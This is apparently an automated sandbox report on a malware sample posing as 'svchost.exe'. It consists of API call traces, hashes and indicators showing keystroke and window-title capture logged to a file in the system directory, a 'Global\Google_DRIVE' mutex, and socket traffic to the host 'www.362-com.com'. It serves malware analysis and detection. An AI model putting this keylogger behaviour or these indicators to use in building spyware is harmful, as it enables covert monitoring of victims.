Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: b9ab9b22b204f11a447e58befb20e8fa7615a8260f598c7c7e19741498da7abd
Instruction ID: 22779944b98e8b02a20029d0c27066cd88a9486545a022dccf69bba602dff082
Opcode Fuzzy Hash: b9ab9b22b204f11a447e58befb20e8fa7615a8260f598c7c7e19741498da7abd
Instruction Fuzzy Hash: 7031047150471A9BD324CF24EC80B39B7E1EB587B8F21422EE555DF380E770E8858B48

Function 10021C12 Relevance: 6.1, APIs: 4, Instructions: 135fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000001,?,?), ref: 10021CD9

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 97d7f78c350b18e0f5f81f11b66bed3fded340e4a96bed1582000e16e2e1244c
Instruction ID: 2fbd5a3303b48f49b422b2d664c9e41631f2d5291d71c419f74fc0cb2a6b7979
Opcode Fuzzy Hash: 97d7f78c350b18e0f5f81f11b66bed3fded340e4a96bed1582000e16e2e1244c
Instruction Fuzzy Hash: 18518C3990024CEFDB12CF68D884ADDBBF5FF56380FA185A6E8159B261D730DA81CB50

Function 1000D274 Relevance: 6.1, APIs: 4, Instructions: 119memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 1000D2E9
EnumProcesses.PSAPI(00000000,00000000,00000000), ref: 1000D31F
LocalFree.KERNEL32(00000000,00000000,00000000,00000000,-00000004,00000000,?,00000000), ref: 1000D3A5
LocalFree.KERNEL32(00000000), ref: 1000D3E6

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocEnumProcesses
String ID:
API String ID: 1437658136-0
Opcode ID: 1e58870ea15ba300445cec5443c0aed91ba1b4e6d8ed28d3962a27397b9e874a
Instruction ID: a94906367f06b565478967df5ab2d0e82e553653cb31d1c98661555ff750425c
Opcode Fuzzy Hash: 1e58870ea15ba300445cec5443c0aed91ba1b4e6d8ed28d3962a27397b9e874a
Instruction Fuzzy Hash: 144131B0D00208EBEF00EFE0E8467EDFBB0FB48355F118166E5047A194D7765A69CBA6

Function 1001F7CF Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,?,00000000,1001F597,?,?,00000000), ref: 1001F7F7
HeapAlloc.KERNEL32(00000008,000041C4,?,00000000,1001F597,?,?,00000000), ref: 1001F82B
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 1001F845
HeapFree.KERNEL32(00000000,?), ref: 1001F85C

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 3a9b470e34de0a2afdfcdfab89d064bf9bff10fc2c53747e81dbc952fb34ce33
Instruction ID: c429856953806b2f0c5e0fbb7a3c1580059f352e426e816ea050b226609c0b63
Opcode Fuzzy Hash: 3a9b470e34de0a2afdfcdfab89d064bf9bff10fc2c53747e81dbc952fb34ce33
Instruction Fuzzy Hash: AA113A71201221AFD720DF19CCC5E627BF6FB9976C7204A1DF252C66A0C7709852DB04

Analysis Process: svchost.exePID: 1420, Parent PID: 3980COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.3%
Total number of Nodes:	324
Total number of Limit Nodes:	19

Executed Functions

Function 0040E7B0 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 189
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNELBASE(00000000,00000000,Global\Google_DRIVE,?,00000000,0041BCD6,000000FF,0040EA75,00414C48,00000000,?,0000000A), ref: 0040E7D9
GetLastError.KERNEL32(?,00000000,0041BCD6,000000FF,0040EA75,00414C48,00000000,?,0000000A), ref: 0040E7E5
ReleaseMutex.KERNEL32(00000000,?,00000000,0041BCD6,000000FF,0040EA75,00414C48,00000000,?,0000000A), ref: 0040E7F3
CloseHandle.KERNEL32(00000000,?,00000000,0041BCD6,000000FF,0040EA75,00414C48,00000000,?,0000000A), ref: 0040E7FA
OpenEventA.KERNEL32(001F0003,00000000,?,?,00000000,?,00000000), ref: 0040E8C3
Sleep.KERNEL32(00000064,?,00000000,?,00000000), ref: 0040E8CD
CloseHandle.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040E8E4
GetTickCount.KERNEL32 ref: 0040E8F0
GetTickCount.KERNEL32 ref: 0040E941
Sleep.KERNELBASE(000003E8,?,?,?,?,00000035), ref: 0040E98F
GetTickCount.KERNEL32 ref: 0040E9CF
OpenEventA.KERNEL32(001F0003,00000000,?,?,00000000,?,00000000), ref: 0040E9E4
WaitForSingleObject.KERNEL32(?,000000C8,?,00000000,?,00000000), ref: 0040E9F5
Sleep.KERNEL32(000001F4,?,00000000,?,00000000), ref: 0040EA02
CloseHandle.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040EA1B

Strings

X?B, xrefs: 0040E863
Global\Google_DRIVE, xrefs: 0040E7D0
e, xrefs: 0040E937
www.362-com.com, xrefs: 0040E859

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseCountHandleSleepTick$EventMutexOpen$CreateErrorLastObjectReleaseSingleWait
String ID: Global\Google_DRIVE$X?B$e$www.362-com.com
API String ID: 1962376256-2771687486
Opcode ID: 959a8e92e3b4555c05954630b2232d7a478ceef59f1d75acb9e4aee2ae9aadac
Instruction ID: a74a6444da2282860dba96b27c8618abe0cd357168f719f048f2f662f4038f78
Opcode Fuzzy Hash: 959a8e92e3b4555c05954630b2232d7a478ceef59f1d75acb9e4aee2ae9aadac
Instruction Fuzzy Hash: 9B61F3322443419BD321EF61DC42BEB77A4AF94744F00493EF589A32D2DB7C5909CB5A

Function 00409450 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 124
keyboardstringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000008), ref: 00409483

Part of subcall function 00409340: GetForegroundWindow.USER32(004251F0,?,74DE8A60), ref: 00409349
Part of subcall function 00409340: lstrlenA.KERNEL32(00425AFC), ref: 0040937F
Part of subcall function 00409340: lstrlenA.KERNEL32(004251F0), ref: 0040938E
Part of subcall function 00409340: GetLocalTime.KERNEL32(?), ref: 00409399
Part of subcall function 00409340: wsprintfA.USER32 ref: 004093EE
Part of subcall function 00409340: GetWindowTextA.USER32(00000000,00425AFC,00000400), ref: 00409430

lstrlenA.KERNEL32(004251F0), ref: 00409497
lstrcatA.KERNEL32(004251F0,00423CCC), ref: 004094AB
GetKeyState.USER32(00000010), ref: 004094D6
GetAsyncKeyState.USER32(00000008), ref: 004094E6
GetKeyState.USER32(00000014), ref: 004094F3
GetKeyState.USER32(00000014), ref: 0040951C

Strings

<Enter>, xrefs: 004095CB

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: State$lstrlen$Window$AsyncForegroundLocalSleepTextTimelstrcatwsprintf
String ID: <Enter>
API String ID: 1968781029-4011940973
Opcode ID: 8e048b356d7e2952715e600388bc62afc1ed2142375b1e1cbc064699a7feb0c1
Instruction ID: 27bd0802815f429370f11feb6ac7fd50c362f1d39d74ac08f7511a932ad67abc
Opcode Fuzzy Hash: 8e048b356d7e2952715e600388bc62afc1ed2142375b1e1cbc064699a7feb0c1
Instruction Fuzzy Hash: 2341F432B84720B6EB116F15AC857B73654AB90344FD4493BE823B22C2C6BDCD42865F

Function 00409340 Relevance: 9.1, APIs: 6, Instructions: 74
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32(004251F0,?,74DE8A60), ref: 00409349
lstrlenA.KERNEL32(00425AFC), ref: 0040937F
lstrlenA.KERNEL32(004251F0), ref: 0040938E
GetLocalTime.KERNEL32(?), ref: 00409399
wsprintfA.USER32 ref: 004093EE

Part of subcall function 00409270: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00409284
Part of subcall function 00409270: lstrcatA.KERNEL32(?,\MODIf.html,?,00000000), ref: 00409294
Part of subcall function 00409270: CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000004,00000080,00000000,?,00000000), ref: 004092B1
Part of subcall function 00409270: GetFileSize.KERNEL32 ref: 004092C4
Part of subcall function 00409270: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 004092D8
Part of subcall function 00409270: lstrlenA.KERNEL32(?), ref: 004092E6
Part of subcall function 00409270: ??2@YAPAXI@Z.MSVCRT ref: 004092EF
Part of subcall function 00409270: lstrlenA.KERNEL32(?,?,00000000,00000000), ref: 00409315
Part of subcall function 00409270: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040931E
Part of subcall function 00409270: CloseHandle.KERNEL32(00000000), ref: 00409325

GetWindowTextA.USER32(00000000,00425AFC,00000400), ref: 00409430

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Filelstrlen$Window$??2@CloseCreateDirectoryForegroundHandleLocalPointerSizeSystemTextTimeWritelstrcatwsprintf
String ID:
API String ID: 565028712-0
Opcode ID: 89128bb96805826c10c1bbb66ed073d1db3aae89c0b0352c094490f14e4088a6
Instruction ID: e7b26e96f75901c0a1c194a0b729fa5e90ccb933367f609e910842766cdcb4f6
Opcode Fuzzy Hash: 89128bb96805826c10c1bbb66ed073d1db3aae89c0b0352c094490f14e4088a6
Instruction Fuzzy Hash: 1021B6723487036BD310DB54DC92FBB77A5EFC8700F548539B601922D5C5B9984A4B69

Function 00401700 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 90
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401B00: setsockopt.WS2_32(?,0000FFFF,00000080,74DF23A0), ref: 00401B2A
Part of subcall function 00401B00: CancelIo.KERNEL32(?), ref: 00401B37
Part of subcall function 00401B00: InterlockedExchange.KERNEL32(?,00000000), ref: 00401B46
Part of subcall function 00401B00: closesocket.WS2_32(?), ref: 00401B53
Part of subcall function 00401B00: SetEvent.KERNEL32(?), ref: 00401B60

ResetEvent.KERNEL32(?,00000000,74DF23A0,?,?,?,?,?,0040E904,?,00000035,?,00000000,?,00000000), ref: 00401713
socket.WS2_32(00000002,00000001,00000006), ref: 00401726
gethostbyname.WS2_32(?), ref: 00401737
htons.WS2_32(?), ref: 00401759
connect.WS2_32(?,?,00000010), ref: 0040177D

Strings

`, xrefs: 004017DA

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Event$CancelExchangeInterlockedResetclosesocketconnectgethostbynamehtonssetsockoptsocket
String ID: `
API String ID: 1101757307-1850852036
Opcode ID: 1134ecd09cd94406b4a66b8f18cc31b66a2bf8b15268be934bd7668aa011eb88
Instruction ID: 3e0f2f0ac55c807ad790ba340779d742ca6d08b63be9dd925c8a783f8e89fc89
Opcode Fuzzy Hash: 1134ecd09cd94406b4a66b8f18cc31b66a2bf8b15268be934bd7668aa011eb88
Instruction Fuzzy Hash: 6A31CF71244300BFE320DB64CC85FABBBE4AF89714F00891DF5999B2D0D6B0A4488BA6

Function 0040E730 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 40
networksleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,00000008), ref: 0040E744
inet_addr.WS2_32(8.8.8.8), ref: 0040E753
DnsQuery_A.DNSAPI(03424EAC,00000001,00000048,00000000,?,00000000), ref: 0040E774
inet_ntoa.WS2_32(?), ref: 0040E785
DnsRecordListFree.DNSAPI(?,00000001), ref: 0040E797
LocalFree.KERNEL32(00000000), ref: 0040E79D
Sleep.KERNELBASE(05265C00), ref: 0040E7A8

Strings

8.8.8.8, xrefs: 0040E748

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: FreeLocal$AllocListQuery_RecordSleepinet_addrinet_ntoa
String ID: 8.8.8.8
API String ID: 4250648121-3817307869
Opcode ID: 19e72b597dcda83056ab39e0d86c2942f6c7d5d81bb46eedc5bce1d840d32cb0
Instruction ID: abbadef5ac829372aa9a0484191102d85127b11c1b56f7c64a7cb9a714653607
Opcode Fuzzy Hash: 19e72b597dcda83056ab39e0d86c2942f6c7d5d81bb46eedc5bce1d840d32cb0
Instruction Fuzzy Hash: 52016271384300BFE3109F66DC85FA6B7E8EF48705F408419F618A72D1C7B898458B5D

Function 00401540 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 48
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401000: InitializeCriticalSection.KERNEL32(00000113,000000FF,0040156A,00000000), ref: 00401018

WSAStartup.WS2_32(00000202,?), ref: 004015AD
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004015BB

Strings

a, xrefs: 004015C6
i, xrefs: 004015CB
b, xrefs: 004015C1
d, xrefs: 004015D0

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CreateCriticalEventInitializeSectionStartup
String ID: a$b$d$i
API String ID: 1327880603-1785370861
Opcode ID: e56c940ca909c68e308c1e975143e953dc87e5655ea68ce46c64835933e809b3
Instruction ID: bc67219ddf5f4b48306782dc98377956a63771750133c100ef7b93a147f4bb8f
Opcode Fuzzy Hash: e56c940ca909c68e308c1e975143e953dc87e5655ea68ce46c64835933e809b3
Instruction Fuzzy Hash: F9216D301497C0DEE321DB28C945BD6BBE4AB56B08F04C95EE4D9476D1C7B95008CB67

Function 00401D10 Relevance: 7.6, APIs: 5, Instructions: 76
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32(?,74DF23A0,00000005,00000000), ref: 00401D42
Sleep.KERNEL32(00000064), ref: 00401D4E
Sleep.KERNEL32(0000000A), ref: 00401D70
send.WS2_32(?,74DF23A0,00000000,00000000), ref: 00401D95
Sleep.KERNEL32(00000064), ref: 00401DA1

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Sleep$send
String ID:
API String ID: 4079979460-0
Opcode ID: d421c99c9166cadf87364dc6b185a51b2ea19dce2c51796f576adf43b26f0e39
Instruction ID: 9e5cc635df342fcdfe6810474862e47184b98c4037ba672a15aefdf703b3cb23
Opcode Fuzzy Hash: d421c99c9166cadf87364dc6b185a51b2ea19dce2c51796f576adf43b26f0e39
Instruction Fuzzy Hash: BF21C3722443019BD304DF59DCC4B6BB7E8EF95720F244A3EF651932E1C774A8458B9A

Function 00401B00 Relevance: 7.5, APIs: 5, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,74DF23A0), ref: 00401B2A
CancelIo.KERNEL32(?), ref: 00401B37
InterlockedExchange.KERNEL32(?,00000000), ref: 00401B46
closesocket.WS2_32(?), ref: 00401B53
SetEvent.KERNEL32(?), ref: 00401B60

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: 631dc59406b559c6f61b2739e35ac19f2d209961bc092501bf1c630fe0f0e1aa
Instruction ID: 140677395d3cca7c13c71eae5807f86f0d88719318cecb52297484c36729b388
Opcode Fuzzy Hash: 631dc59406b559c6f61b2739e35ac19f2d209961bc092501bf1c630fe0f0e1aa
Instruction Fuzzy Hash: 95F03675244701AFD714CFA0DC88FD777A8AF49711F108A1DF69A462D0CB7464488B5A

Function 004012A0 Relevance: 6.1, APIs: 4, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ceil.MSVCRT ref: 004012DA
_ftol.MSVCRT ref: 004012E2

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: _ftolceil
String ID:
API String ID: 2006273141-0
Opcode ID: 7b6203a122ec3bd232ba0b267988bdf841e6e64aecb34203cfef3b710889958d
Instruction ID: b9e72e171b811585a56d9889e87f64bd0b430d76b524ae0b14d69d631e41ea50
Opcode Fuzzy Hash: 7b6203a122ec3bd232ba0b267988bdf841e6e64aecb34203cfef3b710889958d
Instruction Fuzzy Hash: A511D6716442048BD704EF75EC8166BBBD0EB84751F00C43EFD459B381EA799808C6AA

Function 00414330 Relevance: 6.0, APIs: 4, Instructions: 39
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00414C48,00000000,?,0000000A), ref: 00414354
_beginthreadex.MSVCRT ref: 0041437C
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,0000000A), ref: 0041438D
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0000000A), ref: 00414398

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
